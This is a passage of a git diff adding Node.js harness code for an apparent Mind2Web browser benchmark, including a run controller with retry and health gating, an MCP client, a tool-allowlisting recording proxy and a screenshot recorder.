} : {}), + fingerprints: await fingerprint({ serverCommand, extensionDir, ...(public_release ? { publicRelease: true, publicPins } : {}) }) }; + const prior = await json(path.join(runDir, 'manifest.json')).catch(error => { if (error.code === 'ENOENT') return null; throw error; }); + if (prior && !resume) throw new Error('Run already exists; use explicit resume or a new output directory'); + if (prior && JSON.stringify(prior.config) !== JSON.stringify(config)) throw new Error('Cannot resume a different frozen configuration'); + manifest = prior ?? { ...config, config, started_at: now(), state: 'running', expected: tasks.length, attempts: [], outcomes: [], collection_complete: false, active_task_ids: [] }; + if (manifest.attempts.some(attempt => attempt.requires_task_recovery + || attempt.provider_interruption?.code === 'PROVIDER_INTERRUPTED_AFTER_MUTATION')) { + throw new Error('PROVIDER_INTERRUPTED_AFTER_MUTATION: an unresolved mutated task requires explicit task recovery; ordinary resume cannot replay it'); + } + if (manifest.attempts.some(x => x.state === 'running' || x.final?.cleanup_ok === false)) throw new Error('Unfinished attempt or unverified owned cleanup requires a recovery proof before resume'); + if (public_release) for (const attempt of manifest.attempts) { + if (attempt.public_operational_recovery_required || await publicAttemptBlocker(attempt, { publicRelease: true })) + throw new Error('Public operational failure requires explicit recovery; ordinary resume cannot replay this attempt'); + } + for (const attempt of manifest.attempts.filter(attempt => attempt.final?.queue_expiries)) { + if (!pilotQueueTiming || !attempt.pilot_timing_failure?.valid + || JSON.stringify(await queueTimingEvidence(attempt.raw_dir)) !== JSON.stringify(attempt.pilot_timing_failure)) { + throw new Error('A prior queue expiry requires verified pilot timing evidence or explicit health recovery'); + } + } + if (manifest.state === 'paused_health') throw new Error('Health gate requires repair and explicit revalidation; ordinary resume is refused'); + await atomicJson(path.join(runDir, 'task-ids.json'), config.task_ids); await checkpoint(); + await keeper.initialize(); + const selected = new Set(manifest.outcomes.map(row => row.task_id)); + async function worker() { + while (!signal?.aborted && !shouldStop() && !stopped && !scheduler.halted) { + const task = tasks[next++]; if (!task) return; if (selected.has(task.task_id)) continue; + const availability = await controlCircuit('status', {}); + if (availability.ready === false) { stopped ??= { state: 'waiting_for_model', detail: availability }; return; } + if (signal?.aborted || shouldStop() || stopped) return; + const previous = manifest.attempts.filter(x => x.task_id === task.task_id); + const index = previous.length + 1; + const consumed = previous.filter(x => x.consumes_attempt !== false).length; + if (consumed >= 2) { stopped = { state: 'paused_health', detail: 'Pre-mutation infrastructure retry exhausted', task_id: task.task_id }; return; } + const rawDir = path.join(runDir, 'raw', task.task_id, `attempt-${index}`); + const attempt = { task_id: task.task_id, index, logical_attempt: consumed + 1, raw_dir: rawDir, state: 'running', started_at: now() }; + manifest.attempts.push(attempt); await checkpoint(); + let permit; + const final = await drive({ task, rawDir, attemptId: `attempt-${index}`, serverCommand, scheduler, model, effort, maxActions: 120, timeoutMs: 1_200_000, signal, + ...(public_release ? { publicRelease: true, public_release: true, publicPins, publicCatalog, beforePublicDispatch } : {}), + onFault: detail => { stopped ??= { state: 'paused_health', detail, task_id: task.task_id }; }, + beforeSpawn: async () => { + if (signal?.aborted || shouldStop() || stopped || scheduler.halted) return { allowed: false }; + permit = await controlCircuit('admit', { scope: `actor:${task.task_id}`, owner_pid: process.pid, lease_seconds: 1260 }); + if (!permit.allowed) stopped ??= { state: 'waiting_for_model', detail: permit }; + if (signal?.aborted || shouldStop() || stopped || scheduler.halted) return { ...permit, allowed: false }; + return permit; + } }); + attempt.final = final; attempt.state = 'finished'; attempt.ended_at = now(); + attempt.consumes_attempt = final.outcome !== 'provider_pending'; + let timingEvidence = null; + if (pilotQueueTiming && final.queue_expiries && final.cleanup_ok === true && !final.uncertain_upstream && !final.fault && !scheduler.halted) { + timingEvidence = await queueTimingEvidence(rawDir); + if (timingEvidence.valid) attempt.pilot_timing_failure = timingEvidence; + } + const queueBlocks = final.queue_expiries && !(pilotQueueTiming && timingEvidence?.valid); + let publicDisposition = null; + if (public_release && final.public_disposition && !final.provider_error) { + try { publicDisposition = await verifyPublicDisposition(rawDir, final); } + catch (error) { attempt.public_disposition_verification_error = error.message; } + } + if (public_release && final.provider_error && final.public_disposition) + attempt.public_disposition_verification_error = 'A genuine CLI/provider error prevents terminal native-failure disposition'; + if (final.cleanup_ok !== true || final.uncertain_upstream || (final.fault && !publicDisposition) || queueBlocks || scheduler.halted) { + stopped = { state: 'paused_health', task_id: task.task_id, detail: final.cleanup_error ?? final.fault ?? scheduler.halted ?? 'Browser operational gate failed' }; + } + if (permit?.allowed && final.model_spawn_requested === false) { + await controlCircuit('abandon', { permit: permit.permit ?? permit }); + permit = null; + } + if (!attempt.consumes_attempt) { stopped ??= { state: 'waiting_for_model', detail: 'Actor not dispatched' }; await checkpoint(); return; } + const browserHealthy = final.cleanup_ok === true && (!final.fault || publicDisposition) && !final.uncertain_upstream && !queueBlocks && !scheduler.halted; + if (public_release && !browserHealthy) { + attempt.infrastructure_pending = true; attempt.requires_task_recovery = true; attempt.public_operational_recovery_required = true; + stopped = { state: 'paused_health', task_id: task.task_id, detail: attempt.public_disposition_verification_error ?? final.cleanup_error ?? final.fault ?? 'Unverified public operational failure' }; + await checkpoint(); return; + } + if (publicDisposition) { + manifest.outcomes.push({ task_id: task.task_id, outcome: final.outcome, outcome_kind: 'public_native_failure', actor_outcome: final.outcome, + selected_attempt: index, raw_dir: rawDir, exported: false, missing_frame: true, + goal_state: 'unknown_without_terminal_evidence', model_task_failure_demonstrated: false, + public_disposition: final.public_disposition, action_count: final.action_count, + actor_mutations_dispatched: final.actor_mutations_dispatched, duration_ms: final.duration_ms, + actor_duration_ms: final.actor_duration_ms, cleanup_duration_ms: final.cleanup_duration_ms, + cleanup_ok: final.cleanup_ok, usage: final.usage, error: final.error, queue_expiries: 0 }); + selected.add(task.task_id); + const nativeHeadroom = quotaHeadroom(final.rate_limit); + if (permit?.allowed) await controlCircuit(nativeHeadroom ? 'failure' : 'success', { permit: permit.permit ?? permit, + ...(nativeHeadroom ? { kind: 'headroom', error: 'Claude quota headroom reached: ' + JSON.stringify(nativeHeadroom) } : {}) }); + await checkpoint(); continue; + } + const queueActorError = pilotQueueTiming && timingEvidence?.valid + && /BROWSER_QUEUE_TIMEOUT|GATEWAY_QUEUE_TIMEOUT|foreground queue/i.test(final.error ?? ''); + const providerCandidate = ['error', 'never_started', 'rig_failure'].includes(final.outcome) + && browserHealthy && !queueActorError && final.model_spawn_requested !== false; + const failure = providerCandidate ? providerFailure(final.error ?? '') ?? 'configuration' : null; + const interruptedAfterMutation = failure && final.actor_mutations_dispatched > 0; + const providerRetry = interruptedAfterMutation && AVAILABILITY_FAILURES.has(failure) && consumed === 0; + if (providerRetry) { + // The interrupted trace stays on disk and is never scored; the task + // reruns from its start page once the shared model circuit admits it. + attempt.provider_retry = { code: 'PROVIDER_INTERRUPTED_RETRY', kind: failure, error: final.error ?? '', raw_dir: rawDir, + detected_at: now(), policy: 'One fresh rerun after a provider availability interruption; the interrupted attempt is retained and excluded from scoring' }; + stopped ??= { state: 'waiting_for_model', task_id: task.task_id, detail: attempt.provider_retry }; + if (permit?.allowed) await controlCircuit('failure', { permit: permit.permit ?? permit, kind: failure, error: final.error ?? '' }); + await checkpoint(); return; + } + if (interruptedAfterMutation) { + attempt.infrastructure_pending = true; + attempt.requires_task_recovery = true; + attempt.retryable_before_mutation = false; + attempt.provider_interruption = { code: 'PROVIDER_INTERRUPTED_AFTER_MUTATION', kind: failure, + error: final.error ?? '', raw_dir: rawDir, detected_at: now() }; + stopped = { state: 'paused_health', code: 'PROVIDER_INTERRUPTED_AFTER_MUTATION', + task_id: task.task_id, detail: attempt.provider_interruption }; + await checkpoint(); + } + const headroom = !failure && quotaHeadroom(final.rate_limit); + if (headroom) attempt.quota_headroom = headroom; + if (permit?.allowed && browserHealthy) await controlCircuit(failure || headroom ? 'failure' : 'success', { permit: permit.permit ?? permit, + kind: failure ?? (headroom ? 'headroom' : undefined), + error: headroom ? 'Claude quota headroom reached: ' + JSON.stringify(headroom) : final.error ?? '' }); + if (interruptedAfterMutation) return; + const retryable = !queueActorError && !final.actor_mutations_dispatched && ['never_started', 'rig_failure', 'error'].includes(final.outcome); + if (retryable && !stopped) { + attempt.retryable_before_mutation = true; + stopped = { state: failure ? 'waiting_for_model' : 'paused_health', task_id: task.task_id, detail: final.error }; + await checkpoint(); return; + } + const row = { task_id: task.task_id, outcome: final.outcome, selected_attempt: index, raw_dir: rawDir, exported: false, + action_count: final.action_count, actor_mutations_dispatched: final.actor_mutations_dispatched, duration_ms: final.duration_ms, + actor_duration_ms: final.actor_duration_ms, cleanup_duration_ms: final.cleanup_duration_ms, cleanup_ok: final.cleanup_ok, + usage: final.usage, error: final.error, queue_expiries: final.queue_expiries ?? 0 }; + try { + const written = await (dependencies.writeV2 ?? writeV2)({ task, rawDir, outDir: path.join(runDir, 'trajectories'), allowlistPath: path.join(BENCH_ROOT, public_release ? 'config/browser-manual-public-v1.json' : 'config/browser-manual-v2.json') }); + row.validation = await (dependencies.validate ?? validateTrajectoryDir)(written.dir); row.exported = row.validation.ok; row.warnings = written.warnings; + if (!row.exported) stopped ??= { state: 'paused_health', task_id: task.task_id, detail: row.validation.errors }; + } catch (error) { + row.export_error = error.message; row.export_error_code = error.code ?? null; + if (pilotQueueTiming && timingEvidence?.can_explain_missing_export && MISSING_QUEUE_EXPORT_CODES.has(error.code)) { + row.pilot_timing_unavailable = true; + } else stopped ??= { state: 'paused_health', task_id: task.task_id, detail: error.message }; + } + manifest.outcomes.push(row); selected.add(task.task_id); await checkpoint(); + } + } + const workers = await Promise.allSettled(Array.from({ length: concurrency }, async () => { + try { return await worker(); } + catch (error) { + stopped = { state: 'paused_health', detail: error.message, error_code: error.code ?? null }; + scheduler.halt('Unexpected controller failure: ' + error.message); + throw error; + } + })); + manifest.worker_errors = workers.filter(x => x.status === 'rejected').map(x => ({ error: x.reason.message, code: x.reason.code ?? null })); + manifest.collection_complete = manifest.outcomes.length === tasks.length && !stopped && !signal?.aborted; + manifest.state = manifest.collection_complete ? 'collected' : stopped?.state === 'paused_health' ? 'paused_health' + : shouldStop() ? 'paused_drained' : stopped?.state ?? 'interrupted'; + manifest.last_block = stopped; manifest.completed_at = manifest.collection_complete ? now() : null; + await checkpoint(); return { runDir, manifest }; + } finally { + try { await checkpointQueue; } + finally { try { await keeper.close(); } finally { await release(); } } + } +} + +export async function runManualCLI(argv = process.argv.slice(2)) { + const { values } = parseArgs({ args: argv, options: { 'run-id': { type: 'string' }, concurrency: { type: 'string' }, + 'gate-receipt': { type: 'string' }, 'extension-dir': { type: 'string' }, resume: { type: 'boolean' }, judge: { type: 'boolean' }, + 'circuit-state': { type: 'string', default: DEFAULT_CIRCUIT } } }); + if (!values['run-id'] || !/^[A-Za-z0-9_-]+$/.test(values['run-id'])) throw new Error('A new safe --run-id is required'); + if (!values['gate-receipt']) throw new Error('Full collection requires a passing --gate-receipt'); + const gateBytes = await readFile(values['gate-receipt']), gate = JSON.parse(gateBytes); + if (!gate.ok || !gate.fixed_sample_sha256 || !gate.fingerprints) throw new Error('Missing passing installed/pilot gate evidence'); + const concurrency = Number(values.concurrency ?? gate.selected_concurrency); + if (concurrency !== gate.selected_concurrency) throw new Error('Concurrency differs from accepted gate'); + const serverCommand = [process.execPath, path.join(homedir(), '.fsb/native-host/runtime/package/build/index.js'), 'stdio']; + if (JSON.stringify(await sourceFingerprint({ serverCommand, extensionDir: values['extension-dir'] })) !== JSON.stringify(gate.fingerprints)) throw new Error('Installed/runtime/source fingerprints changed after gating'); + const { tasks, source } = await loadTasks(); if (tasks.length !== 300) throw new Error('Exactly300 pinned tasks are required'); + const runDir = path.join(RESULTS_DIR, values['run-id']); await mkdir(runDir, { recursive: true }); + await atomicJson(path.join(runDir, 'disk-gate.json'), await assertDiskBudget(runDir, gate.artifact_forecast_bytes)); + const controller = new AbortController(); const stop = () => controller.abort(); process.once('SIGINT', stop); process.once('SIGTERM', stop); + try { + const result = await collectManual({ runDir, tasks, source, serverCommand, concurrency, extensionDir: values['extension-dir'], + gateReceipt: { path: path.resolve(values['gate-receipt']), sha256: digest(gateBytes) }, circuitState: values['circuit-state'], resume: values.resume, signal: controller.signal }); + console.log(JSON.stringify({ run_dir: runDir, state: result.manifest.state, terminal: result.manifest.outcomes.length, expected: 300 })); + if (values.judge && result.manifest.collection_complete) await runJudgeJobs({ runDir, manifest: result.manifest, passes: 3, circuitState: values['circuit-state'], signal: controller.signal }); + return result; + } finally { process.removeListener('SIGINT', stop); process.removeListener('SIGTERM', stop); } +} +if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) runManualCLI().catch(error => { console.error(error.stack); process.exitCode = 1; }); diff --git a/mind2web/harness/mcp-client.mjs b/mind2web/harness/mcp-client.mjs new file mode 100644 index 000000000..c2f7ec861 --- /dev/null +++ b/mind2web/harness/mcp-client.mjs @@ -0,0 +1,69 @@ +import { spawn } from 'node:child_process'; +import { createInterface } from 'node:readline'; + +// Each upstream request has its own ID, independent of the downstream client. +export class StdioClient { + constructor(command, { env = process.env, timeoutMs = 60_000, stderr = process.stderr } = {}) { + this.pending = new Map(); + this.counter = 0; + this.timeoutMs = timeoutMs; + this.child = spawn(command[0], command.slice(1), { env, stdio: ['pipe', 'pipe', 'pipe'] }); + this.child.stdin.on('error', () => {}); + this.child.stderr.on('data', d => stderr?.write(d)); + this.lines = createInterface({ input: this.child.stdout }); + this.lines.on('line', line => { + let msg; + try { msg = JSON.parse(line); } catch { return this.fail(new Error('Upstream emitted invalid JSON')); } + if (msg.method) { + if (msg.id !== undefined) this.send({ jsonrpc: '2.0', id: msg.id, error: { code: -32601, message: 'Server requests are disabled' } }); + else this.onNotification?.(msg); + return; + } + const pending = this.pending.get(msg.id); + if (!pending) return; + this.pending.delete(msg.id); + clearTimeout(pending.timer); + if (msg.error) pending.reject(Object.assign(new Error(msg.error.message), { rpcError: msg.error })); + else pending.resolve(msg.result); + }); + this.child.on('error', err => this.fail(err)); + this.child.on('exit', () => this.fail(new Error('Upstream MCP server exited'))); + } + fail(err) { + this.failure = err; + for (const p of this.pending.values()) { clearTimeout(p.timer); p.reject(err); } + this.pending.clear(); + } + send(msg) { this.child.stdin.write(`${JSON.stringify(msg)}\n`); } + notify(method, params) { this.send({ jsonrpc: '2.0', method, ...(params === undefined ? {} : { params }) }); } + request(method, params, { timeoutMs = this.timeoutMs } = {}) { + if (this.failure) return Promise.reject(this.failure); + const id = `om2w-${++this.counter}`; + return new Promise((resolve, reject) => { + const timer = setTimeout(() => { + this.pending.delete(id); + this.notify('notifications/cancelled', { requestId: id, reason: 'Harness timeout' }); + reject(new Error(`MCP ${method} timed out`)); + }, timeoutMs); + this.pending.set(id, { resolve, reject, timer }); + this.send({ jsonrpc: '2.0', id, method, params }); + }); + } + async initialize() { + const result = await this.request('initialize', { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 'om2w-harness', version: '1' } }); + this.notify('notifications/initialized'); + return result; + } + async close() { + this.fail(new Error('MCP client closed')); + this.child.stdin.end(); + this.child.kill('SIGTERM'); + if (this.child.exitCode === null && this.child.signalCode === null) { + await new Promise(resolve => { + const timer = setTimeout(() => { this.child.kill('SIGKILL'); resolve(); }, 1000); + this.child.once('exit', () => { clearTimeout(timer); resolve(); }); + }); + } + this.lines.close(); + } +} diff --git a/mind2web/harness/mcp-record-proxy.mjs b/mind2web/harness/mcp-record-proxy.mjs new file mode 100644 index 000000000..c777f16d1 --- /dev/null +++ b/mind2web/harness/mcp-record-proxy.mjs @@ -0,0 +1,208 @@ +import { mkdir, appendFile, writeFile, readFile } from 'node:fs/promises'; +import { createInterface } from 'node:readline'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { StdioClient } from './mcp-client.mjs'; +import { inspectPng } from './png.mjs'; +import { DEFAULT_ALLOWLIST_PATH } from './v2-writer.mjs'; + +export const DEFAULT_REASON = 'Perform the requested browser action'; +export function resultData(result) { + return (result?.content ?? []).filter(c => c.type === 'text').map(c => { + try { return JSON.parse(c.text); } catch { return { text: c.text }; } + }); +} +export function resultOK(result) { + return !!result && !result.isError && !resultData(result).some(d => d.success === false || d.error); +} +function toolError(message) { return { isError: true, content: [{ type: 'text', text: message }] }; } + +export class RecordingProxy { + constructor({ command, rawDir, startUrl, allowlist, env, clientLabel = 'Claude', maxActions = Infinity, onLimit, onDenied }) { + this.rawDir = path.resolve(rawDir); + this.startUrl = new URL(startUrl).href; + this.allowlist = allowlist; + if (!['Claude', 'Codex'].includes(clientLabel)) throw new Error('Unsupported benchmark client label'); + this.clientLabel = clientLabel; + this.maxActions = maxActions; + this.onLimit = onLimit; + this.onDenied = onDenied; + this.upstream = new StdioClient(command, { env }); + this.seq = 0; + this.tabId = null; + this.meta = { start_url: this.startUrl, tab_id: null, allowlist_version: allowlist.version, fsb_server_cmd: command, client: clientLabel, + default_visual_reason: DEFAULT_REASON, counts: { actions: 0, reads: 0, denied: 0, screenshot_errors: 0, screenshot_retries: 0 }, started_at: new Date().toISOString() }; + this.ready = mkdir(path.join(this.rawDir, 'shots'), { recursive: true }); + } + async saveMeta() { await writeFile(path.join(this.rawDir, 'proxy-meta.json'), `${JSON.stringify(this.meta, null, 2)}\n`); } + async screenshot(seq) { + const attempts = []; + const delays = [0, 300, 1000, 2500]; + for (const [index, delay] of delays.entries()) { + if (delay) { this.meta.counts.screenshot_retries++; await new Promise(resolve => setTimeout(resolve, delay)); } + const started_at = new Date().toISOString(); + try { + const result = await this.upstream.request('tools/call', { name: 'capture_screenshot', arguments: { tab_id: this.tabId } }); + if (!resultOK(result)) throw new Error(JSON.stringify(resultData(result))); + const img = result.content?.find(c => c.type === 'image' && c.mimeType === 'image/png'); + if (!img) throw new Error('No inline PNG returned'); + const bytes = Buffer.from(img.data, 'base64'); + const check = inspectPng(bytes); + if (!check.ok) throw new Error(check.error); + const target = path.join(this.rawDir, 'shots', `${String(seq).padStart(4, '0')}.png`); + await writeFile(target, bytes); + const data = resultData(result); + const url = data.map(d => d.source_url ?? d.metadata?.source_url).find(Boolean) ?? null; + attempts.push({ attempt: index + 1, started_at, ok: true, url }); + return { screenshot_path: target, screenshot_error: null, screenshot_attempts: attempts, url }; + } catch (err) { + attempts.push({ attempt: index + 1, started_at, ok: false, error: err.message }); + // A navigation can replace the main frame between the action and capture. + const transient = /frame.*(?:removed|detached|not found)|no frame with given id|execution context.*(?:destroyed|not found)|cannot find context/i.test(err.message); + if (!transient || index === delays.length - 1) { + this.meta.counts.screenshot_errors++; + return { screenshot_path: null, screenshot_error: err.message, screenshot_attempts: attempts, url: null }; + } + } + } + } + async record(kind, tool, args, { capture = false } = {}) { + await this.ready; + const seq = this.seq++; + const started_at = new Date().toISOString(); + let result; + try { result = await this.upstream.request('tools/call', { name: tool, arguments: args }); } + catch (err) { result = toolError(err.message); } + const data = resultData(result); + if (kind === 'bootstrap' && resultOK(result)) { + this.tabId = data.map(d => d.tab_id ?? d.tabId ?? d.tab?.id).find(Number.isInteger) ?? null; + this.meta.tab_id = this.tabId; + } + const shot = capture && this.tabId !== null ? await this.screenshot(seq) : { screenshot_path: null, screenshot_error: capture ? 'No owned tab' : null, url: null }; + const entry = { seq, kind, tool, args, ok: resultOK(result), error: resultOK(result) ? null : JSON.stringify(data).slice(0, 4000), + result_text: data.map(d => JSON.stringify(d)).join('\n').slice(0, 4000), tab_id: this.tabId, + ...shot, started_at, ended_at: new Date().toISOString() }; + if (!entry.url) entry.url = data.map(d => d.change_report?.url?.after ?? d.url ?? d.currentUrl).find(v => typeof v === 'string') ?? null; + if (kind === 'action') this.meta.counts.actions++; + if (kind === 'read') this.meta.counts.reads++; + await appendFile(path.join(this.rawDir, 'steps.jsonl'), `${JSON.stringify(entry)}\n`); + await this.saveMeta(); + return { result, entry }; + } + async bootstrap() { + if (!this.boot) this.boot = this.record('bootstrap', 'open_tab', { + url: this.startUrl, active: true, visual_reason: 'Open the benchmark start page', client: this.clientLabel, + }, { capture: true }).then(({ entry }) => { + if (!entry.ok || this.tabId === null || !entry.screenshot_path) throw new Error('Benchmark bootstrap failed: ' + (entry.error ?? entry.screenshot_error)); + }); + return this.boot; + } + async handle(method, params = {}) { + await this.ready; + if (method === 'initialize') { + const r = await this.upstream.request(method, params); + return { ...r, capabilities: { tools: {} } }; + } + if (method === 'tools/list') { + // Consume upstream pagination, then return one complete, restricted list. + const tools = []; + let cursor; + do { + const page = await this.upstream.request(method, cursor ? { cursor } : {}); + tools.push(...(page.tools ?? [])); + cursor = page.nextCursor; + } while (cursor); + const allowed = new Set([...Object.keys(this.allowlist.actions), ...this.allowlist.reads]); + const filtered = tools.filter(t => allowed.has(t.name)).map(t => { + const inputSchema = structuredClone(t.inputSchema); + delete inputSchema.properties?.client; + delete inputSchema.properties?.tab_id; + if (inputSchema.required) inputSchema.required = inputSchema.required.filter(k => !['client', 'tab_id'].includes(k)); + return { ...t, inputSchema }; + }); + if ([...allowed].some(name => !filtered.some(t => t.name === name))) throw new Error('FSB server is missing required benchmark tools'); + return { tools: filtered }; + } + if (method === 'resources/list') return { resources: [] }; + if (method === 'resources/templates/list') return { resourceTemplates: [] }; + if (method === 'prompts/list') return { prompts: [] }; + if (method === 'ping') return {}; + if (method !== 'tools/call') throw Object.assign(new Error(`Method ${method} is disabled`), { rpcError: { code: -32601, message: `Method ${method} is disabled` } }); + const name = params.name; + const action = Object.hasOwn(this.allowlist.actions, name); + if (!action && !this.allowlist.reads.includes(name)) { + this.meta.counts.denied++; + const now = new Date().toISOString(); + await appendFile(path.join(this.rawDir, 'steps.jsonl'), `${JSON.stringify({ seq: this.seq++, kind: 'denied', tool: name, args: params.arguments ?? {}, ok: false, error: 'Tool is disabled', tab_id: this.tabId, url: null, screenshot_path: null, screenshot_error: null, started_at: now, ended_at: now })}\n`); + await this.saveMeta(); + this.onDenied?.(name); + return toolError(`Tool ${name} is disabled in this benchmark`); + } + await this.bootstrap(); + if (action && this.meta.counts.actions >= this.maxActions) { + this.meta.action_limit_reached = true; + await this.saveMeta(); + this.onLimit?.(); + return toolError('Benchmark action limit reached'); + } + const args = { ...(params.arguments ?? {}), tab_id: this.tabId }; + if (action) { args.client = this.clientLabel; args.visual_reason ||= DEFAULT_REASON; } + return (await this.record(action ? 'action' : 'read', name, args, { capture: true })).result; + } + async close({ closeTab = false } = {}) { + if (this.closing) return this.closing; + this.closing = (async () => { + await this.ready; + if (closeTab && this.tabId !== null) { + try { + const result = await this.upstream.request('tools/call', { name: 'close_tab', arguments: { + tab_id: this.tabId, allow_active: true, visual_reason: 'Close the temporary benchmark-owned tab', client: this.clientLabel, + } }); + this.meta.cleanup_ok = resultOK(result); + if (!this.meta.cleanup_ok) this.meta.cleanup_error = JSON.stringify(resultData(result)); + } catch (err) { this.meta.cleanup_ok = false; this.meta.cleanup_error = err.message; } + } + this.meta.ended_at = new Date().toISOString(); + try { await this.saveMeta(); } + finally { await this.upstream.close(); } + })(); + return this.closing; + } +} + +export async function serveProxy(options) { + const proxy = new RecordingProxy(options); + const lines = createInterface({ input: process.stdin }); + let queue = Promise.resolve(); + const send = msg => process.stdout.write(`${JSON.stringify(msg)}\n`); + // Forward progress only. Other notifications can advertise hidden surfaces. + proxy.upstream.onNotification = msg => { if (msg.method === 'notifications/progress') send(msg); }; + lines.on('line', line => { + let msg; + try { msg = JSON.parse(line); } catch { send({ jsonrpc: '2.0', id: null, error: { code: -32700, message: 'Invalid JSON' } }); return; } + if (msg.id === undefined) { + if (msg.method === 'notifications/initialized') proxy.upstream.notify(msg.method, msg.params); + return; + } + queue = queue.then(async () => { + try { send({ jsonrpc: '2.0', id: msg.id, result: await proxy.handle(msg.method, msg.params) }); } + catch (err) { send({ jsonrpc: '2.0', id: msg.id, error: err.rpcError ?? { code: -32603, message: err.message } }); } + }); + }); + const close = async () => { lines.close(); await queue; await proxy.close(); }; + process.once('SIGTERM', () => { void proxy.close().finally(() => process.exit(0)); }); + process.once('SIGINT', () => { void proxy.close().finally(() => process.exit(130)); }); + await new Promise(resolve => lines.once('close', resolve)); + await close(); +} + +if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { + const split = process.argv.indexOf('--'); + if (split < 0 || !process.env.OM2W_RAW_DIR || !process.env.OM2W_START_URL) { + console.error('Set OM2W_RAW_DIR and OM2W_START_URL; pass the upstream command after --'); process.exit(2); + } + try { + const allowlist = JSON.parse(await readFile(process.env.OM2W_ALLOWLIST ?? DEFAULT_ALLOWLIST_PATH, 'utf8')); + await serveProxy({ command: process.argv.slice(split + 1), rawDir: process.env.OM2W_RAW_DIR, startUrl: process.env.OM2W_START_URL, allowlist }); + } catch (err) { console.error(err.message); process.exitCode = 1; } +} diff --git a/mind2web/harness/mcp-task-stdio.mjs b/mind2web/harness/mcp-task-stdio.mjs new file mode 100644 index 000000000..f269e1a31 --- /dev/null +++ b/mind2web/harness/mcp-task-stdio.mjs @@ -0,0 +1,10 @@ +import { createConnection } from 'node:net'; + +const socketPath = process.argv[2]; +if (!socketPath) { console.error('A task controller socket is required'); process.exit(2); } +const socket = createConnection(socketPath); +socket.on('connect', () => { process.stdin.pipe(socket); socket.pipe(process.stdout); }); +socket.on('error', err => { console.error(err.message); process.exitCode = 1; socket.destroy(); process.stdin.destroy(); }); +socket.on('close', () => process.stdin.destroy()); +process.stdout.on('error', () => { socket.destroy(); process.exit(0); }); +process.once('SIGTERM', () => { socket.destroy(); process.exit(0); }); diff --git a/mind2web/harness/model-family.mjs b/mind2web/harness/model-family.mjs new file mode 100644 index 000000000..6d904804c --- /dev/null +++ b/mind2web/harness/model-family.mjs @@ -0,0 +1,21 @@ +import { readFileSync } from 'node:fs'; +import path from 'node:path'; +import { BENCH_ROOT, REPO_ROOT } from './proc.mjs'; + +// One model family drives the actor, image contract, judges and reports, so a +// frozen run cannot silently mix families. The Python judge reads the same file. +export const FAMILY_CONFIG_PATH = path.join(BENCH_ROOT, 'config/model-family.json'); +const config = JSON.parse(readFileSync(FAMILY_CONFIG_PATH, 'utf8')); + +export const FAMILY = config.family; +export const MODEL = config.model; +export const EFFORT = config.effort; +export const CLIENT_LABEL = config.client_label; +export const JUDGE_ENGINE = config.judge_engine; +export const JUDGE_ENGINE_CLASS = config.judge_engine_class; +// The CLI auto-updates in place, so the run uses a byte-pinned copy. +export const CLAUDE_CLI = path.join(REPO_ROOT, config.cli.path); +export const CLAUDE_CLI_PIN = Object.freeze({ version: config.cli.version, sha256: config.cli.sha256 }); +// Admission pauses before a window is exhausted so in-flight tasks can finish. +export const QUOTA_HEADROOM = Object.freeze({ ...config.quota_headroom }); +export const DEFAULT_CIRCUIT = path.join(REPO_ROOT, config.circuit); diff --git a/mind2web/harness/observation-recorder.mjs b/mind2web/harness/observation-recorder.mjs new file mode 100644 index 000000000..6ef678523 --- /dev/null +++ b/mind2web/harness/observation-recorder.mjs @@ -0,0 +1,54 @@ +import { createHash, randomUUID } from 'node:crypto'; +import { writeFile, mkdir } from 'node:fs/promises'; +import path from 'node:path'; +import { inspectPng } from './png.mjs'; +import { operationClock } from './browser-scheduler.mjs'; + +export const sha256 = bytes => createHash('sha256').update(bytes).digest('hex'); +const fail = (code, text) => Object.assign(new Error(text), { code }); + +export class ObservationRecorder { + constructor({ taskId, attemptId, rawDir, request, session }) { + Object.assign(this, { taskId, attemptId, rawDir, request, session }); + } + async captureOnce({ operationId, seq, tabId, timing, waitMs = 250 }) { + timing.capture_started = operationClock(); + const result = await this.request('capture_screenshot', { tab_id: tabId, mode: 'viewport', device_mode: 'current', wait_ms: waitMs }, 45_000); + timing.capture_finished = operationClock(); + if (result?.isError) { + const errors = (result.content ?? []).filter(x => x.type === 'text').map(x => { try { return JSON.parse(x.text); } catch { return { error: x.text }; } }); + const pending = errors.some(x => x.cleanup_pending === true); + throw Object.assign(fail(pending ? 'CAPTURE_CLEANUP_PENDING' : 'CAPTURE_FAILED', JSON.stringify(errors)), { cleanup_pending: pending, native_capture_errors: errors }); + } + const png = result.content?.find(x => x.type === 'image' && x.mimeType === 'image/png'); + const metadataBlock = result.content?.find(x => x.type === 'text'); + let metadata; + try { metadata = JSON.parse(metadataBlock?.text); } catch { throw fail('CAPTURE_METADATA_INVALID', 'Capture returned no structured metadata'); } + if (!png || !metadata) throw fail('CAPTURE_MISSING_IMAGE', 'Capture returned no inline native PNG'); + const bytes = Buffer.from(png.data, 'base64'); + const check = inspectPng(bytes); + const hash = sha256(bytes); + if (!check.ok || metadata.sha256 !== hash || metadata.byte_length !== bytes.length + || metadata.output_width !== check.width || metadata.output_height !== check.height) + throw fail('FRAME_HASH_MISMATCH', 'Native image bytes do not match the capture metadata'); + if (!metadata.capture_id || !metadata.timestamp || !metadata.source_url || metadata.mode !== 'viewport' + || !Number.isFinite(Date.parse(metadata.timestamp)) || metadata.effective_emulation?.device_mode !== 'current' + || !Number.isFinite(metadata.effective_emulation.device_scale_factor) || metadata.effective_emulation.device_scale_factor <= 0 + || !metadata.css_rect || !['x', 'y', 'width', 'height'].every(key => Number.isFinite(metadata.css_rect[key])) + || metadata.css_rect.width <= 0 || metadata.css_rect.height <= 0) + throw fail('CAPTURE_METADATA_INVALID', 'Native capture is missing source or viewport identity'); + const screenshotPath = path.join(this.rawDir, 'shots', `${String(seq).padStart(4, '0')}.png`); + await mkdir(path.dirname(screenshotPath), { recursive: true }); + await writeFile(screenshotPath, bytes, { flag: 'wx' }); + const receipt = { + frame_id: randomUUID(), task_id: this.taskId, attempt_id: this.attemptId, operation_id: operationId, + tab_id: tabId, capture_id: metadata.capture_id, source_url: metadata.source_url, timestamp: metadata.timestamp, + css_rect: metadata.css_rect, output_width: metadata.output_width, output_height: metadata.output_height, + device_scale_factor: metadata.effective_emulation.device_scale_factor, byte_length: bytes.length, sha256: hash, + screenshot_path: 